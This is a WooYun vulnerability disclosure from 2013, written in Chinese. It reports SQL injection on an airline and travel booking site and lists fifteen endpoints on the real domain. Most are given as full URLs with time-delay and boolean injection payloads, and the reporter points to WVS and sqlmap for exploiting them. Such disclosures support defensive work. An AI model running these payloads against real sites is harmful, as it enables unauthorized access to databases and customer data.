漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-045213
漏洞标题：快达航空SQL注入漏洞大礼包
相关厂商：快达航空
漏洞作者： Mutoubug
提交时间：2013-12-16 15:38
修复时间：2014-01-30 15:39
公开时间：2014-01-30 15:39
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-01-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
看到这个厂商也能提交，所以我来了。。
详细说明：
一次性来个15个注入点：
http://25555555.com/hotel/chuan/default2.aspx?eid=-1;%20waitfor%20delay%20%270:0:0%27%20--%20&id=1&sid=7
http://25555555.com//hotel/chuan/details.aspx?id=38%20AND%203*2*1%3d6%20AND%20405%3d405
http://25555555.com/hotel/jiudian/jiudianyuding.aspx?endtime=2013-12-07&ID=327&MID=206&starttime=2013-12-06
http://25555555.com/hotel/menpiao/menpiaoyuding.aspx?MID=112%20AND%203*2*1%3d6%20AND%20373%3d373
http://25555555.com/menpiao/chuan/default2.aspx?eid=-1;%20waitfor%20delay%20'0:0:0'%20--%20&id=1&sid=7
http://25555555.com/menpiao/chuan/details.aspx?id=38%20AND%203*2*1%3d6%20AND%20871%3d871
http://25555555.com/menpiao/jiudian/jiudianyuding.aspx?endtime=2013-12-13&ID=56&MID=73&starttime=2013-12-07
http://25555555.com/menpiao/menpiao/menpiaoyuding.aspx?MID=112%20AND%203*2*1%3d6%20AND%20793%3d793
http://25555555.com/newpaybank/chuan/default2.aspx?eid=-1;%20waitfor%20delay%20'0:0:0'%20--%20&id=1&sid=7
http://25555555.com/newpaybank/chuan/details.aspx?id=33%20AND%203*2*1%3d6%20AND%2034%3d34
http://25555555.com/newpaybank/jiudian/jiudianyuding.aspx?endtime=2013-12-13&ID=57&MID=73&starttime=2013-12-07
http://25555555.com/newpaybank/menpiao/menpiaoyuding.aspx?MID=112%20AND%203*2*1%3d6%20AND%20594%3d594
http://25555555.com/ship/chuan/default2.aspx?eid=-1;%20waitfor%20delay%20'0:0:0'%20--%20&id=1&sid=7
http://25555555.com/ship/chuan/details.aspx POST
http://25555555.com/ship/jiudian/jiudianyuding.aspx POST
以上全部都是注入点，可以用WVS扫出来。。
随便拿一个到sqlmap里面跑：
漏洞证明：
修复方案：
1.过滤整改。。
2.这么多个点15rank不过分吧。。
3.求审核我的XSS。。
版权声明：转载请注明来源 Mutoubug@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝